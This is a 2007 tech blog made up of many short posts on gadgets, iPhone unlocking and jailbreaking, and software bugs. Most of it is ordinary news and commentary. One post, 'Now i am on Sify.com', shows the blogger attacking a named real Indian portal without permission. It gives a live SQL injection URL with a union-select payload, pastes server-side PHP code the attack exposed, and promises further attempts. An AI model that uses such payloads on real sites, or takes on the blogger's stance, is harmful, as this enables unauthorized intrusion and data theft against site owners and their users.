It could also cut out some of the tension that has sprung up between the iPhone maker and its customers. Apple angered both developers and iPhone owners when it released a software update for the device that either "bricked" it or erased all unauthorized applications in September.

Clockwise or counterclockwise?

2007-10-14T00:43:00.001+05:30

Which way is she spinning?

(Credit: Australia Sun Herald)

OK, so this is not strictly tech-related, but it is a cool way to count down the remaining minutes to the weekend. Look at the dancer and decide which way she's spinning.

Got it?

If you think she's going clockwise, you're apparently right-brain dominant (imaginative, philosophical, touchy-feely, impetuous); if you see her going counter-clockwise, you're left-brain dominant (logical, practical, detail-oriented, safe).

If, like us, you are able to alternate views to see her going in both directions, then you're just a plain old genius.

Rumor: Red iPhone in the works?

2007-10-14T00:39:00.000+05:30

Apple iPhone

(Credit: CNET Networks/Corinne Schulz)

Apparently someone managed to get a hold of an internal inventory sheet from AT&T that shows the iPhone may be available in red. This goes quite nicely with Apple's other colorful devices, especially the Product (RED) iPod nano. I agree with Engadget's skepticism that the inclusion of a 4GB unit in the list makes us wonder about the inventory sheet's legitimacy (Apple has just stopped selling them, after all). Sure, a red cell phone isn't big news, but, well, it's the iPhone. In red, just in time for the holidays, perhaps.

iPhone unlock tips, my summary after unlocking 150 iPhones

2007-10-10T21:23:00.000+05:30

Me and my Dad have unlocked like 150 iPhones last week for selling them in India.

Method i used - http://www.hackint0sh.org/forum/showthread.php?t=6637
Computer- An PC with Win XP home.
iPhone- all were having firmware <= 1.0.2 .
-- Only 2 out of 150 are giving some problems in unlocking. The success rate is pretty high.

-- The process is easy to follow, there are lot more alternatives, try switching them, restoring the phone image if you get errors.

-- Don't use PACAY twice, ie after you pop your sim on a unlocked iPhone don't use PACAY again else there are chances of losing YouTube functionality (same happened to my personal phone).

-- Don't let iTunes download the 1.0.2 firmware you may bump with the 1.1.1 firmware which is not hacked till today, although there will be a solution some time around. Download the 1.0.2 firmware from here . copy it to this folder "C:\Documents and Settings\ABC\Application Data\Apple Computer\iTunes\iPhone Software Updates" replace ABC with your XP Login username.

-- If somehow YouTube is saying "cannot connect to Y0uTube" , press the home button and power off button for 10 secs to enter restore mode, Restore the 1.0.2 firmware->jailbreak->PACAY . No need to unlock again as the baseband is not there 1.0.2 firmware. You will get YouTube working.

-- My personal phone was not able to run YouTube , so i tried the above remedy, but wait my iTunes (7.4.2.4) gave some error that iPhone couldn't be upgraded error 1604. On the other hand the iPhone was stuck in recovery mode, it was not booting to springboard instead going to recovery mode asking me to connect to iTunes. Tried upgrading 5 times but always ended with an error 1604 in iTunes. I thought i bricked my iPhone. Then through some googling i found that it was iTunes 7.4.2.4 doing the shit. Hence i uninstalled iTunes, restarted my PC, got the older 7.4.1.2 from here .Everything was fine after that. I flashed the firmware, iPhone was out off the endless reboots, jailbreaked, PACAY and got YouTube :)

Expect a hacked iPhone 1.1.1 firmware soon

2007-10-10T20:54:00.000+05:30

The team which hacked the psp firmware 2.0 a year ago have successfully got access to the root partition of iPhone running firmware 1.1.1 through the tiff bufferflow exploit.

Beta testing already in progress, engadget confirms the exploit.
Expect a jailbreak soon, activation, unlock and 3rd party code to follow.

What to do with the leftover CD: Sit on it

2007-10-10T20:43:00.000+05:30

(Credit: Designboom)

What do you do when you have way too many CD coasters lying around in the house? The idea must have plagued designer Belen Hermosa as well, with the result being the "Panda Chair."

While we're all for the recycle and reuse movement, we're guessing this one would just replace those neck and back aches with new pains in your butt and thighs. Still, it's an interesting intepretation of a computer chair--just one that might be better appreciated from afar.

Digital mousetrap will text you when it's done

2007-10-10T19:59:00.002+05:30

(Credit: Rentokil Initial)

Someone was bound to say it, so it might as well be us: A better mousetrap really has been built.

U.K.-based Rentokil is making the bold claim that it's invented "the smartest and most humane mousetrap ever"--and for good reason. This is no low-tech Tom and Jerry device, Tech Digest says, but a sophisticated digital system that kills the offending rodents in 45 seconds using infrared beams, carbon dioxide and toxic gas. And the "Rodent Activated Detention and Riddance Unit" (RADAR) isn't done yet: It will then send a text message to the owner, announcing the mission accomplished.

It sounds something like the mouse equivalent of the "Crustastun" to the lobster. Except, of course, for the use of its contents. We hope.

Now a Tiff buffer overflow exploit for iPhone

2007-10-10T03:38:00.000+05:30

i downgraded my PSP firmware 2.0 with the tiff buffer overflow exploit 3 months, though the exploit was there around 18 months ago. Now the history repeats itself the same exploit is being used to gain root access, jailbraik the evil 1.1.1 apple iphone firmware :)

see the hackers blog - http://www.toc2rta.com/?q=node/19

iPod Nano Catches Man's Pants on Fire

2007-10-10T03:34:00.000+05:30

A Georgia man has escaped injury after the iPod nano he owned caught fire inside of his pocket, the exact cause of which is not yet known. Danny Williams of Douglassville, Georgia said all that protected him from burns was a piece of glossy paper that he had in his pocket along with the device. The burning nano did, however, burn a hole in the man's pants.

Williams works at a kiosk Hartsfield-Jackson Atlanta International Airport. He said the incident could have posed a big problem: "If TSA had come by and seen me smoking, they could have honestly thought I was a terrorist," he told WSB-TV. According to Willams' parents, Apple has said it would replace the unit. Apple has so far refused to comment on the incident.

Now i am on Sify.com ;) sql injections again

2007-10-05T23:34:00.000+05:30

The famous indian portal www.sify.com is vulnerable to sql injections too. I am trying my best to get the query run. See the progress so far - http://sify.com/astrology/fullstory.php?id=-13%20union%20select%201,290,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--

You will get a weird page. See the page source, you will able to see some php code of sify.com which was to be run if my query was not executed.

require_once "$tmpl_root_realpath/sites/home/finance/includes/dbconnect.php";
?>

some more php code


        execute($indexqry);
        $i=0;
        while ($indexrow = $db->fetch_row($indexobj,DB_FETCHMODE_ORDERED))
        {
            $indexlist[$i] = $indexrow;
            $i++;
        }
        $intlqry = "select company_code, date_format(tradetime,'%b %e'), last_price, change_price from ww_imarkets where company_code='NASDAQ' or company_code='DJIA' order by company_code desc";
        $intlobj=$db->execute($intlqry);
        $i=0;
        while ($intlrow = $db->fetch_row($intlobj,DB_FETCHMODE_ORDERED))
        {
            $intllist[$i] = $intlrow;
            $i++;
        }        
        ?>

:lol:, expect more to come on this if everything works ...

DoCoMo prototype phone could pay the bills

2007-10-05T23:32:00.001+05:30

FOMA F904i

(Credit: NTT DoCoMo)

If NTT DoCoMo had its way, one day in the future users might be able to make electronic payments via their mobile phone while the handset remains in their pocket.

The Japanese cell phone operator this week showed off a prototype equipped with a sensor developed by Kaiser Technology that can send electric signals through the human body. Practical uses include opening doors to secure areas without flashing security cards or programmed personal preferences such as drivers' seat and steering wheel angles.

All these are still hanging in the air, though, as the company isn't sure if the technology will go beyond prototypes.

OMG iPhone is so cool

2007-10-03T17:24:00.000+05:30

I am totally spellbound by the apple iphone. And you guessed it right this post is from iPhone itself. updates soon

iPhone delayed

2007-10-02T17:19:00.000+05:30

My iPhone which was scheduled to arrive today is been delayed due to national holiday of Mahatma Gandhi. Its expected to reach tomm. when i come back from college after internals exams.

A 5-star hotel on wheels

2007-10-02T15:46:00.001+05:30

(Credit: OhGizmo)

Even some of the most jaded Cravers were admittedly impressed by the recently cited $1 million-plus RV and its over-the-top appointments. But less than a week later, it's already been topped by an even more outrageous concept.

The Spanish-made "Hotel Movil" isn't just a mobile home: It's a mobile hotel. Or motel, as the case may be. In fact, OhGizmo says it can convert to pretty much anything you want--"a mobile hospital, a portable film studio and even a school"--because it must be built to custom specs anyway. Yet its primary use is envisioned as a two-story, 11-bedroom "traveling" hotel that even has an outdoor terrace and is equipped with private bathrooms, flat-screen TVs, Wi-Fi networks and luxurious amenities that can qualify for a 5-star rating.

Talk about a "boutique" hotel. The $500,000 base price may be a bit off-putting, but a Hotel Movil can be rented for about $8,000 for a weekend. Remember, it's not too soon to start thinking about the next Super Bowl party.

B&O's 'Serenata' music phone unveiled

2007-10-02T15:19:00.000+05:30

(Credit: Bang & Olufsen )

As promised by the annoying countdown clock on its teaser site for weeks, Bang & Olufsen and Samsung jointly unveiled their "Serenata" mobile phone today. And though it's been described as a successor to the much-discussed "Serene," you wouldn't know it by its design and features.

The Serenata is much more focused on music with built-in "hi-fi speakers," a docking station and 4GB of storage, far more than most other phones on the market. Particularly useful is a specific button that toggles back and forth from phone to music, which is then controlled by a navigation wheel and 2.4-inch color LCD. We're not sure about its claims to produce a quality bass through a "psycho-acoustic phenomenon" but if it starts to shatter your windows, a pair of ergonomic earphones are included.

Oh yeah, the phone part. The Serenata does away with traditional buttons and keypad, making calls with its "sensi-touch display" instead. In addition, its receiver speaker has been placed at the top of the phone to "make the sound of speech as authentic as possible," though we wonder if Samsung's designers just ran out of room after cramming in all the music features.

Finally, true to the serene theme of this line, the Serenata's "organic rounded shape alludes to pebbles shaped by ocean waves." We don't make this stuff up, honest.

A Nokia N95 wins the lottery

2007-10-02T15:10:00.001+05:30

(Credit: Amosu)

If more tech companies were as aggressive as Amosu, we probably wouldn't have nearly as many product launch delays as we do today. The U.K.-based bling meister--which promises to customize pretty much anything in "diamonds, gold or white gold"--has done it again with a diamond encrusted Nokia N95.

And unlike so many "special editions" that number in the tens or even hundreds of thousands, the diamond N95 is limited to just 10 handsets. The specs indicate why: It's made of 18-karat solid gold and festooned with 325 diamonds totaling 3.30 carats--for about $24,500. Amosu generously allows buyers to choose the color of the stones and whether they want white or yellow gold. The phone also comes with a one-year complimentary international concierge service.

Before you gag on the photo, remember that it can always be worse. It could have a leopard-skin design or cost as much as the Vertu's $310,000 "Signature Cobra."

Getting iPhone tomm.

2007-10-01T23:10:00.000+05:30

After 4 months of launch in USA, so much attention from around the world the renowned iPhone will be in Aakash Bapna 's dirty hands tommorow. Can't hardly wait for the so much hyped device. I will capturing some pics of the phone and uploading them on web, see the blog for updates. thanks to the iPhone dev team for making the free unlock possible.

The skinniest scooter on the road

2007-09-30T02:31:00.000+05:30

(Credit: Drugstore.com)

If there's a polar opposite to the "Aptera" spaceship car from the future, this might well be it. The "Shoprider Flagship" looks like Mini Cooper that was sandwiched between two buses, but it's really a four-wheeled electric scooter.

This anorexic golf-cart rival has a roof, or canopy, for use in all seasons and weather, as well as removable doors, according to OhGizmo. It even has front and rear suspension, hence the four wheels--which, oddly enough, is one more than the high-tech Aptera has.

Yet the Shoprider Flagship's name alone pretty much ensures its reputation as something more likely for seniors than urban hipsters, not to mention that it's sold at Drugstore.com and tops out at 10 miles per hour. (Although you never know.) In any case, we think a better name for it would have been the "Skinny Cooper."

Slot Machine: The Transforming Table Chair

2007-09-30T02:30:00.000+05:30

Today's second dose of concept design comes in the shape of this convertible chair and table set, which manages the feat of looking good in both of its incarnations. The Table Chair, by Joel Hesselgren, uses a notched, slot together design for the transformation into 1980s executive lounge coffee table, a simple and clever idea.

The only problem we can see (apart from the chairs looking so damn uncomfortable) is that the slotted backs would cause the chairs to flex horribly. For occasional use only.

Gateway One PC — The Hell With Neo, This Really Is the One

2007-09-30T02:25:00.000+05:30

With the success of the iMac, we’re surprised PC makers haven’t flooded the market with all-in-ones by now. Gateway’s foray into the niche is the One, a self contained PC which looks something akin to a collision between 2001’s monolith and a ginormous iPod nano. The One houses a 19 inch LCD monitor (1440 x 900), a 2GHz Core 2 Duo proc, 3GB RAM and a 500GB hard drive in a svelte form factor that manages to be both stylish and functional. Imagine that! The One is very streamlined, with a handful of frequently-used ports (USB, FireWire, headphone/mic audio) on the left side and a single super-multi DVD burner on the right side. And accessing the One’s innards? Easy. Gateway’s use of non-proprietary parts and tool-less entry make upgrading and expanding components a cinch. That's all well and good, but we know the question on everyone's mind: “is it better than an iMac?” Impossible to say, but with price points and hardware components so similar to Apple's all-in-one, the question really boils down to: “Do you want OS X or Vista?” And we all know that choice is a personal One. —Claude McIver

WIRED Hidden speakers behind the impossibly glossy black bezel provide enriching, muffle-free audio. Included remote handles basic media controls well, and looks just as sharp as the PC it's controlling. Wireless keyboard and mouse are well-designed and work right out of the box (no syncing required). 1.3MP camera plugs into dedicated mini-USB port on top. Clutter-free computing; it just feels nice.

TIRED Glasslike (read: plastic) front bezel is very reflective—enjoy watching yourself watch a movie. Gluttonous wants like a bigger (20 or 22 inch) screen, support for Blu-ray/HD-DVD playback/burning, and wall-mounting capabilities are all features we'd love to see on future models. But a geek can dream, a geek can dream.

iPhone Update -- Hackers' Edition

2007-09-30T01:52:00.000+05:30

So, the iPhone's software has hit version 1.1.1. There's good news, and there's bad news.

(These are gathered from around the net, and may be variously right, wrong, or complete rubbish. Fixes and updates are encouraged in the comments.)

If you've unlocked your iPhone but have not upgraded it:

• Don't upgrade it! Tell iTunes, "No!" It will almost certainly not work afterwards, with no reliable remedy yet available.

If you've unlocked your iPhone and already upgraded it:

• Your phone is bricked until further notice. It can be reactivated with an AT&T SIM if you unlocked it with iPhoneSIMfree, according to iPhoneSIMFree.

• There are anecdotal reports that the Genius Bar will restore unlocked brickPhones if you're lucky, or if you lie to the Genius.

If you've hacked/jailbroken your iPhone but have not unlocked it:

• You can upgrade, but reports of success are not unanimous. You will, at least, lose access to your third-party additions and hacks, and the ability to downgrade the firmware. You may also have to restore the iPhone software from scratch. Some report that updating a hacked-but-still-locked iPhone has bricked it to the point where attempts to restore it fail.

If you haven't hacked/jailbroken your iPhone:

• Upgrade only if you're an everday, by-the-book user who is reading all this solely to take pleasure in others' misfortune.

• Don't upgrade if you want to use carriers other than AT&T, or install unofficial software such as IM clients, game emulators, IRC and Terminal.

If you have upgraded your iPhone and it still works:

• Your installed apps are invisible and inaccessible, but still present on the phone.

• You can restore iPhones after you attempted to jailbreak or otherwise hack it, and doing so bricks the phone.

• There is no jailbreak for 1.1.1, or any other means to mess with the iPhone or get your hacks working again. Expect to wait a while.

• If you cancelled your AT&T service, you'll have to reactivate the iPhone. AT&T says hi.

• You cannot downgrade to 1.0.2

• You cannot change SIMS to use alternative carriers.

• You cannot use any third party applications that are not Safari apps.

• Installing AppTapp bricks the iPhone, but the iPhone can be restored.

• Non-iTunes ringtones can't be installed.

If your phone is bricked after updating, but you never hacked it at all:

• You can restore bricked iPhones if they were bricked due to USB weirdness, problems with unusual AT&T SIM cards, or other innocent behavior.

If you feel betrayed:

Stop it. You knew what you were getting into. You are being punished for not trusting perfection. Live with it and move on.†

† Moving on requires a two-year subscriber agreement and carries a $200 early termination fee. By moving on, you agree to the terms and conditions specified in the end user license agreement, which can be read in Istro-Rumanian at the Biblioteca Nacional de la República Argentina after 4 p.m. on weekday afternoons that are both full moons and in which the date of the month is a prime number, following the completion of a synaesthesia aptitute test and with the written permission of the estate of James Brown.

Halo 3 Reaches $170 Million In First Day Sales

2007-09-30T01:33:00.001+05:30

Microsoft has announced that its Halo 3 has sold an estimated $170 million in its first day, making it "the biggest entertainment launch in history," noting that it has now beat out opening day theatrical releases of Spider-Man 3 and novels like Harry Potter and the Deathly Hallows. The sales are generally in line with analyst expectations, with Lazard analyst Colin Sebastian estimating sales would quickly reach $200 million. Wedbush Morgan analyst Michael Pachter stated that he anticipates that the title will be September's top release, expecting sales of over 3 million units in its first 12 days.

The game took more than 1.7 million copies in preorder sales, Microsoft says, surpassing the previous record-setting pre-orders for Halo 2. The release has garnered praise from retailers as well, with GameStop merchandising VP Bob McKenzie saying in Microsoft's release that the title is expected to be "the biggest video game title generator in GameStop's history." Again labeling the release a "pop-culture phenomenon,” Microsoft Game Studios VP Shane Kim said, “Not only is Halo 3 setting sales records, it’s also redefining entertainment. Within the first 20 hours alone, we’ve seen more than a million Xbox LIVE members come online to play Halo 3 – that makes September 25 the most active Xbox LIVE gaming day in history.”

Hacked 1.0 iPhone Firmware vs. Official 1.1.1

2007-09-30T01:32:00.000+05:30

9to5Mac has gone to the trouble of enumerating the myriad differences between using the hacked 1.0.2 iTunes software and the newly-released official 1.1.1 setup. It went into the details of the new updates and offered a nice chart. It's too complicated for me, though, so here's an "at a glace" graphic.

Yes, we're being a bit mean. But we do it only because we know that, in the end, Apple can still make everything alright, even if it comes well-after the iPhone makes its triple salto into mass-market orbit this holiday season. There's a lot a computer can do beyond make phone calls and surf the web, and chaining this little powerhouse down is a damned shame of PSP-like proportions.

In the meantime, the only thing for it is to get a knitted iPhone, which offers something neither of these rivals can boast: cuddliness.

iPhone version 1.1.1 vs. Hacked Version [9to5]

How to make WiFi access point from your Windows Mobile phone - revealed

2007-09-30T00:53:00.000+05:30

Windows Mobile 6 devices offer Internet Sharing feature for Bluetooth and USB. It works in this way that you start Internet Sharing application inside of your Windows Mobile phone and then other devices can share the Internet connection. What if you could fool Windows Mobile phone and instead of Bluetooth use WiFi? Would it be possible? Yes, it is:

I have figured out how to use Internet Sharing over WiFi, which essentially makes my Hermes an Access Point.

Do the following:
1) Open Settings->Internet Sharing. Enable IS for Bluetooth PAN.
2) Change HKLM\Comm\ConnectionSharing\PrivateInterface to "TIACXWLN1" (it should currently be "BTPAN1").
3) Open Settings-> Connections -> Wi-Fi. Select Network Adapters tab. Click IEEE 802.11b/g Compatible Wi-Fi.
4) Enter IP address 192.168.1.1 and subnet mask 255.255.255.0. Click OK.
5) Select Wireless tab. Add New.. to add the Network name for your ad-hoc network (I prefer "adhoc"
6) Set the client computer to use the same ad-hoc network. Client will receive an IP address from the device (don't need to manually set the IP).

To learn more, click here. Screenshots and further information can be found here.

Conclusion: hopefully Microsoft will built-in in future into Windows Mobile platform, but for now this amazing new feature becomes available with a hack. While connection sharing over Bluetooth is also wireless, it is limited in distance and number of devices handled, but with Internet sharing over WiFi any Windows Mobile with WiFi can become a WiFi access point - what is much more versatile kind of Internet sharing. Since many notebooks nowadays simply don't support Bluetooth but WiFi is now built-in even in cheapest models, this solution may be extremely usable for travellers, who posses a Windows Mobile phone! People who claim that built-in WiFi is not a must-have feature in Windows Mobile phones have been proved wrong.

Top 5 Mobile Phones

2007-09-27T22:25:00.001+05:30

This list is compiled my cnet.com on basis of user feedback, their editors views. It may help you make a wise decesion, where you gots lots of phones to pick. check the top 5 cell phones here

The bike with solar wheels

2007-09-27T22:18:00.001+05:30

(Credit: Thera-P-Cushion)

At first glance, this bike may look more like a fashion statement than an environmental one. But its wheels, which resemble spinners adorning the tires of some inner-city SUVs, are actually circular solar panels soaking up energy from the sun's rays.

The "E-V Sunny Bicycle," which claims to be "the first all solar electric bike," generates enough natural power to charge the batteries that run a 500-watt motor attached to the front wheel with a top speed of 19 miles per hour, according to OhGizmo.

The price of this 75-pound bike is fairly steep at $1,290, but there's also a kit to convert a conventional bike for $795. And if a wild mood strikes, you can even shut off the motor and pedal the old-fashioned way.

Robo-One videos will astound/confuse you

2007-09-26T19:43:00.001+05:30

If you've been following Robo-One 12 vicariously on the Internet, welcome to the motherlode.

(Credit: Robot Watch)

Robot Watch recently posted a smorgasbord of videos showcasing the best demos and battles from the recent bipedal robot competition in Japan, and they're all available right here, about a third of the way down the page.

If you don't want to do all that clicking and deciphering, here are some of the best clips of the lot. Mind you, I can't read Japanese, so I've offered my own personal interpretations of what the hell is going on in each video, as well as my best guess as to what each robot's name is. Or should be.

Unfortunately, YouTube apparently hasn't caught on in Japan yet, so all these videos are in Windows Media stream-o-vision format. Patience is a virtue when it comes to load times.

Note: Just imagine if these robots were 900 feet tall! W00t!

=========================
MAJESTIC ROBO-BATTLES
=========================

(Credit: Robot Watch)

OmniZero.5: The Largening vs. Robo-David the Giant Robot Killah
> Watch the video, it's awesome

(Credit: Robot Watch)

Electro-Gargamel vs. Smacky the Chicken
> Oh, now this you gotta see

(Credit: Robot Watch)

Balloony the Balloon Head vs. XR-549306 (Techno-Scamp Form 2)
> This video is way rad

(Credit: Robot Watch)

Raggedy AnnBot vs. Tha Hair-Joojer
> Watch this video, then slap five with your pal Geoff

=========================
CONFUSING ROBOT DEMOS
=========================

(Credit: Robot Watch)

ShovelBot ZL-3
> Must. Shovel. Air.

(Credit: Robot Watch)

RollOr/ChoppOr 2000
> First to flatten | ... (Read more)

Posted in: Entertainment, Robots

A motorcycle to be seen as well as heard

2007-09-26T00:24:00.001+05:30

(Credit: Chip Chick)

It may not have a Wi-Fi computer or a waterproof GPS unit, but this motorcycle will still manage to turn heads--in a good way.

The "Victory Vision 2008" has iPod navigation controls built into the handlebars and a dashboard display, according to Chip Chick. That in and of itself is handy, but there are other bikes with similar features. What sets this one apart is a four-speaker system in higher-end models, with an option for XM Radio.

If the bike is anywhere near as fast as it looks, however, we'd suggest skipping the speakers. As we've said before, speakers for two-wheeled vehicles of any kind don't seem like the most logical accoutrements.

Amazon launches beta version of DRM-free music store

2007-09-26T00:16:00.000+05:30

Remember when Amazon.com was just a bookstore? On Tuesday morning, the online retailer launched the public beta of its much-anticipated rival to Apple's iTunes Store: Amazon MP3, which features over 2 million songs free of digital rights management copy protection, which means they'll play on any computer, music player, or music-enabled cell phone.

Because of Amazon MP3's DRM-free focus, that means the selection isn't as wide as the iTunes Store's. Several major-label conglomerates, like Sony BMG and Warner Music Group, have not jumped onto the bandwagon and hence aren't offering their music for sale in Amazon's new store. Nevertheless, the retail giant has played up the fact that there are still 180,000 artists represented from 20,000 major and independent labels, including several prominent indie labels that are offering their music for the first time in "naked" format.

Each song is encoded at 256kbps, the file quality that Apple offers for its DRM-free iTunes Plus premium music selections, which it sells for $1.29 apiece rather than its usual 99 cents. Amazon's pricing for Amazon MP3 ranges from 89 cents (including the top 100 best-selling songs) to 99 cents; albums are priced from $5.99 to $9.99.It goes without saying that Amazon is aiming squarely at Apple, and it's attempting to hit the digital music monopoly where it hurts--with regard to pricing, file quality, and versatility, all of which have come under scrutiny by critics

DNA testing in a briefcase

2007-09-25T23:53:00.002+05:30

At this rate, we'll all be doing our own CSI-style investigations as technology becomes increasingly mainstream. The latest example is a "briefcase DNA analysis system" that can reportedly do a complete test at crime scenes in 25 minutes, as opposed to typical lab time of one day to a week.

(Credit: NEC)

The system, developed by Japan's NEC and Aida Engineering, combines several functions in one device and dramatically speeds the heating and cooling processes required for DNA testing. "The compact unit can be used to: (1) take cell samples, (2) extract the DNA, (3) perform polymerase chain reaction (PCR) amplification to generate copies of the DNA, (4) perform electrophoresis to measure the spacing between DNA bands (to create the genetic fingerprint), and (5) perform short tandem repeat (STR) analysis to create a unique genetic profile for the individual," according to Pink Tentacle.

This particular system is designed for law enforcement professionals, however, for release in 2008. So don't expect to do DNA analysis to find out who stole your lunch from the fridge anytime soon.

Excel 2007 Contains Serious Multiplication Bug

2007-09-25T22:39:00.000+05:30

We all learned how to multiply with pencil and paper, even great big numbers and decimals. But when it comes to something important like a blueprint or a scientific formula we reach for a calculator - or a spreadsheet. That's much more reliable, right? Well, not if the spreadsheet is Excel 2007.

Over the weekend a member of the microsoft.public.excel newsgroup revealed that Excel 2007 thinks that 850*77.1 is 100,000. What's the correct answer? Right, it should be 65,535.

If it were just 850*77.1 that gave a wrong answer, we could probably work around that. But there are tons of other problem numbers, as I discovered for myself.

Read the rest of tis post at AppScout: "Excel Can't Multiply"

India's take on the '$100 computer' gets U.S. venture funds

2007-09-23T02:25:00.001+05:30

Novatium Solutions, which has come up with a thin-client computer for emerging markets, has landed an investment from New Enterprise Associates (NEA).

The company has mostly installed its computers around Chennai (formerly Madras) in southern India. The systems work on the thin-client model. Most of the actual computing and the Internet connection goes through a central server. Users then tap into the server through desktop units.

With thin clients, updates and security patches are easier to manage, according to Rajesh Jain, one of Novatium's founders. Energy can also be conserved. In a novel twist, Novatium's clients use a digital signal processor rather than a standard processor. NEA did not state how much it has invested in the company.

Jain, who sold his IndiaWorld portal in 2000 for $115 million, is one of India's better known technology execs. After selling IndiaWorld, he turned his attention to expanding the computer base in India. He also writes a popular blog. (Interestingly, another founder is Ray Stata, chairman of DSP maker Analog Devices.)

Novatium's computer will play in the same market as devices such as the Intel Classmate PC and the XO from the One Laptop Per Child organization created by Nicholas Negroponte. Some of these devices will be sold to schools, while others will likely be bought by Internet cafe owners, who will then recover their investment by selling time on their computers. Many phone booths in India are actually owned by individual entrepreneurs.

Even though Negroponte popularized the "$100 computer" name, no one is actually hitting that number. The XO will cost about $188 after a series of price hikes. Taiwan's Asustek is working on a $200 computer based around Intel's designs.

Novatium says that its machine costs about 500 rupees a month, including Internet connectivity, software and hardware. That's about $12.44.

Novatium has also experimented with ways of using old monitors and TVs to cut the price further. In a 2005 interview, Jain said that he could get the total price down to around $120 with a used monitor.

Chennai is something of a center for cheap computing devices. Ashok Jhunjhunwala of the Indian Institute of Technology of Chennai has developed a $1,000 automatic teller machine that can also serve as an Internet kiosk for villages.

Projection screen goes stealth

2007-09-23T01:32:00.001+05:30

(Credit: Livit)

Don't you hate that bulky projection screen? Or are you running out of shelf space for your DVD collection? Here's an Italian way of killing two birds with one stone from designer Matteo Ragni.

The Livit "Fly" is an unassuming-looking shelf system which hides a projection screen. It comes in 4:3 aspect format with a screen size measuring 1,700 x 1,280mm and is available in four different colors.

Google phone rumors heat up

2007-09-20T20:59:00.000+05:30

A Google phone mockup created by T3

(Credit: T3)

The Google phone rumor is starting to really take shape, and if we're lucky, it may even come true. Information gathered from Digitimes, GigaOm, CrunchGear, and more, hints at Google perhaps closely working with Taiwanese handset manufacturer HTC to produce a phone with a Google-approved OS. This dovetails nicely with the overall sentiment that Google wouldn't actually develop its own hardware, but would instead work with a third-party manufacturer and then supply its own OS and applications. The OS, according to GigaOm, would be based on a mobile variant of Linux, and will support Java apps. There will supposedly be a search browser with pan-and-browse features similar to the one on the iPhone. Digitimes even goes so far as to confirm the existence of the phone, citing interviews with Taiwanese handset makers, but details on the OS and its features still remain hazy. Speculations abound that the mythical phone will support all of Google's applications, like Google Maps, GMail, and even Google Docs. There's no way for us to confirm these rumors right now, but we do think this will be quite an exciting device if it does come to fruition.

(The above image is a concept/mockup from T3)

A ballpoint pen from the future

2007-09-20T20:54:00.001+05:30

(Credit: Joon New York)

OK, so it's just a pen. And not even a high-tech writing instrument, but a ballpoint one at that. Still, this one's weird enough that we think it qualifies as a gadget just based on its looks alone.

The "Free Ride Pen" by designer Jean Pierre Lepine may look like something that melted in a factory fire, but there's actually a method to the apparent madness of its form. Not only is it ergonomic, Luxist says, but its rubber pads are strategically placed "to cushion the areas where finger meets pen."

Something of an engineering feat, the pen has an "arched hull" that's constructed with hand-drilled screws. Just one small question remains: Where exactly is the button?

Nokia N81 hands-on

2007-09-19T01:19:00.001+05:30

The N81 is perhaps the most attractive Nokia we've ever seen. Not everyone will agree -- it's kinda square, bulky, and a little heavier than we were expecting -- but the total package struck us as solid and extraordinarily well designed. We were digging the cool metallic flake front and rear offset by a medium gray strip down the sides, the wild control layout below the screen, and the fact that this simply doesn't look like Your Father's Nokia. Turns out the N81's beauty is far from skin-deep, though.

Gallery: Nokia N81 hands-on

The d-pad doubles as a touch sensitive ring, giving music navigation an iPod feel to it -- important when you have 8GB of storage onboard to play with. As far as we can tell, the functionality is limited to the music player and a couple other S60 components; we'd like to see its use expand by the time the device reaches production, especially considering how comfortable and easy to use it was.

The N81 was clearly designed with entertainment in mind. The vast capacity, Nokia Music Store compatibility, and 3.5mm headphone jack are all evidence of that. Coincidentally, the handset also rocks out with one of the very few useful pairs of stereo loudspeakers we've ever seen on a phone. They're freakin' loud, in fact -- loud enough to be uncomfortable at close range while staying relatively clear and crisp. Entertainment also means gaming in this case, with support for Nokia's freshly revamped N-Gage platform and two buttons near the earpiece that make the phone feel more like a true controller.

If we have a major complaint here, it's under the hood -- the N81 doesn't share the same US HSDPA compatibility as its N95 stablemate, and unfortunately, quick data is pretty much a must for this category of device. Don't suppose you've got another version cookin' in the labs, eh, Nokia?

New 'fully interactive' bar in London

2007-09-19T00:59:00.001+05:30

(Credit: twentyfour)

The coolest after-dark attractions just have to be across the pond, don't they? I'm drooling over screenshots of Twentyfour, which looks pretty darn awesome (though who knows what the crowd's like). With over a thousand LED color combinations available, this is one place where the decor won't get boring--and did I mention the walls are actually projection screens?

The video walls kind of remind me of the Nokia flagship store in Manhattan, but from what it sounds like, they're a lot more functional. Bar patrons can control, or even contribute their own scenery somehow--I should point out that this could get bad if alcohol's involved, you know, "You bloody wanker, why did you put the rainforest scene up there again?" Some of the projections are even interactive, responding in one way or another if you touch them or hold your drink up to them ("Ooh, the fish swim toward my martini!")

(Credit: twentyfour)

Here's the part I like the most--lay a hand on the bar, and it'll alert the bartender that you need another drink. Those of us used to crowded urban nightspots where it can take a full ten minutes for the bartender to even notice your existence can attest to the gravity of this breakthrough.

More photos at Geeksugar.

Getting touchy with the newest iPod

2007-09-19T00:52:00.000+05:30

(Credit: Ina Fried/CNET Networks)

Apple's iPod Touch has made it into the wild and folks are finding lots of little details to note about Cupertino's latest addition to the iPod lineup.

First off, the hacks that work on the iPhone to add additional software don't appear to be working on the iPod Touch, though many in the macosphere expressed hope that it's just a temporary setback.

Second, a few people say that, rather than running Mac OS X, they got a device that only runs diagnostics. That's no fun when it comes to music playing, but folks are playing up the fact there is a "bluetooth" control panel, even if it does say "nothing to see here."

Finally, the iPod Touch doesn't appear to be showing up as a drive within the Mac OS, something that many had hoped for and appears to be a feature on Apple's technical spec sheet for the device. "Stores data via USB flash drive," is Apple's exact wording on that point.

Some folks are also saying the screen isn't as easy to view as the iPhones and that the virtual keyboard is less responsive. And, there's still grumbling over the fact that one can't add calendar items on the fly--a feature originally expected for the device.

The new face of the notebook market

2007-09-19T00:49:00.000+05:30

HP Pavilion dv2600 (Credit: HP)

With HP's decision to release a slew of new laptops that offer a slick design and nice specs, it had me thinking: is this the new face of the notebook market? Are notebooks becoming commodities that can be differentiated only by design?

And if all of that is true, what will happen to brand loyalty? Is it another victim of this vicious battle?

I think it is just so modern, techy.

Vista attacked by 13-year-old virus

2007-09-19T00:46:00.000+05:30

A batch of laptops pre-installed with Windows Vista Home Premium was found to have been infected with a 13-year-old boot sector virus.Those of you with a long memory will vividly recall the year 1994: Nirvana's lead singer Kurt Cobain died, South Africa held its first multi-racial elections, and Tony Blair became leader of the Labour party. Oh, and Microsoft's operating system was the quaint, pre-NT Windows for Workgroups.

